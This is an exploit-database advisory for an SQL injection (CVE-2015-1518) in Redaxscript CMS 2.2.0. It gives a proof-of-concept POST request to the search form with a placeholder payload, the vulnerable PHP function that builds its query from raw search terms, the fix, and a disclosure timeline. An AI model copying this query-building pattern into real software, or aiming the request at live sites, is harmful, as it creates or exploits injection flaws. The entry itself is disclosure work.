Author

Pham Kien Cuong

Risk

[

Security Risk High

]

0day-ID

0day-ID-23268

Category

web applications

Date add

10-02-2015

CVE

CVE-2015-1518

Platform

php

# Exploit Title: Radexscript CMS 2.2.0 - SQL Injection vulnerability
# Google Dork: N/A
# Date: 02/09/2015
# Exploit Author: Pham Kien Cuong (cuong.k.pham@itas.vn) & ITAS Team (www.itas.vn)
# Vendor Homepage: http://redaxscript.com/
# Software Link: http://redaxscript.com/download/releases
# Version: Redaxscript 2.2.0
# Tested on: Linux
# CVE : CVE-2015-1518
 
 
:: PROOF OF CONCEPT ::
 
POST /redaxscript/ HTTP/1.1
Host: target.local
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=khtnnm1tvvk3s12if0no367872; GEAR=local-5422433b500446ead50002d4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
 
search_terms=[SQL INJECTION HERE]&search_post=&token=24bcb285bc6f5c93203e4f95d9f2008331faf294&search_post=Search
 
 
 
- Vulnerable parameter: $search_terms
- Vulnerable file:      redaxscript/includes/search.php
- Vulnerable function:  search_post()
 
- Vulnerable code:
function search_post()
{
    /* clean post */
 
    if (ATTACK_BLOCKED < 10)
    {
        $search_terms = clean($_POST['search_terms'], 5);
    }
 
    /* validate post */
 
    if (strlen($search_terms) < 3 || $search_terms == l('search_terms'))
    {
        $error = l('input_incorrect');
    }
 
    /* query results */
 
    else
    {
        $search = array_filter(explode(' ', $search_terms));
        $search_keys = array_keys($search);
        $last = end($search_keys);
 
        /* query search */
 
        $query = 'SELECT id, title, alias, description, date, category, access FROM ' . PREFIX . 'articles WHERE (language = \'' . Redaxscript\Registry::get('language') . '\' || language = \'\') && status = 1';
        if ($search)
        {
            $query .= ' && (';
            foreach ($search as $key => $value)
            {
 
                $query .= 'title LIKE \'%' . $value . '%\' || description LIKE \'%' . $value . '%\' || keywords LIKE \'%' . $value . '%\' || text LIKE \'%' . $value . '%\'';
                if ($last != $key)
                {
                    $query .= ' || ';
                }
            }
            $query .= ')';
        }
        $query .= ' ORDER BY date DESC LIMIT 50';
        $result = Redaxscript\Db::forTablePrefix('articles')->rawQuery($query)->findArray();
        $num_rows = count($result);
        if ($result == '' || $num_rows == '')
        {
            $error = l('search_no');
        }
 
        /* collect output */
 
        else if ($result)
        {
            $accessValidator = new Redaxscript\Validator\Access();
            $output = '<h2 class="title_content title_search_result">' . l('search') . '</h2>';
            $output .= form_element('fieldset', '', 'set_search_result', '', '', '<span class="title_content_sub title_search_result_sub">' . l('articles') . '</span>') . '<ol class="list_search_result">';
            foreach ($result as $r)
            {
                $access = $r['access'];
 
                /* if access granted */
 
                if ($accessValidator->validate($access, MY_GROUPS) === Redaxscript\Validator\Validator::PASSED)
                {
                    if ($r)
                    {
                        foreach ($r as $key => $value)
                        {
                            $$key = stripslashes($value);
                        }
                    }
 
                    /* prepare metadata */
 
                    if ($description == '')
                    {
                        $description = $title;
                    }
                    $date = date(s('date'), strtotime($date));
 
                    /* build route */
 
                    if ($category == 0)
                    {
                        $route = $alias;
                    }
                    else
                    {
                        $route = build_route('articles', $id);
                    }
 
                    /* collect item output */
 
                    $output .= '<li class="item_search_result">' . anchor_element('internal', '', 'link_search_result', $title, $route, $description) . '<span class="date_search_result">' . $date . '</span></li>';
                }
                else
                {
                    $counter++;
                }
            }
            $output .= '</ol></fieldset>';
 
            /* handle access */
 
            if ($num_rows == $counter)
            {
                $error = l('access_no');
            }
        }
    }
 
    /* handle error */
 
    if ($error)
    {
        notification(l('something_wrong'), $error);
    }
    else
    {
        echo $output;
    }
}
 
 
:: SOLUTION ::
Update to Redaxscript 2.3.0
 
::INFORMATION DISCLOSURE::
- 11/27/2014: Inform the vendor
- 11/28/2014: Vendor confirmed
- 01/29/2015: Vendor releases patch
- 01/05/2015: ITAS Team publishes information
 
 
:: REFERENCE ::
- http://www.itas.vn/news/itas-team-found-out-a-sql-injection-vulnerability-in-redaxscript-2-2-0-cms-75.html

#  0day.today [2024-11-15]  #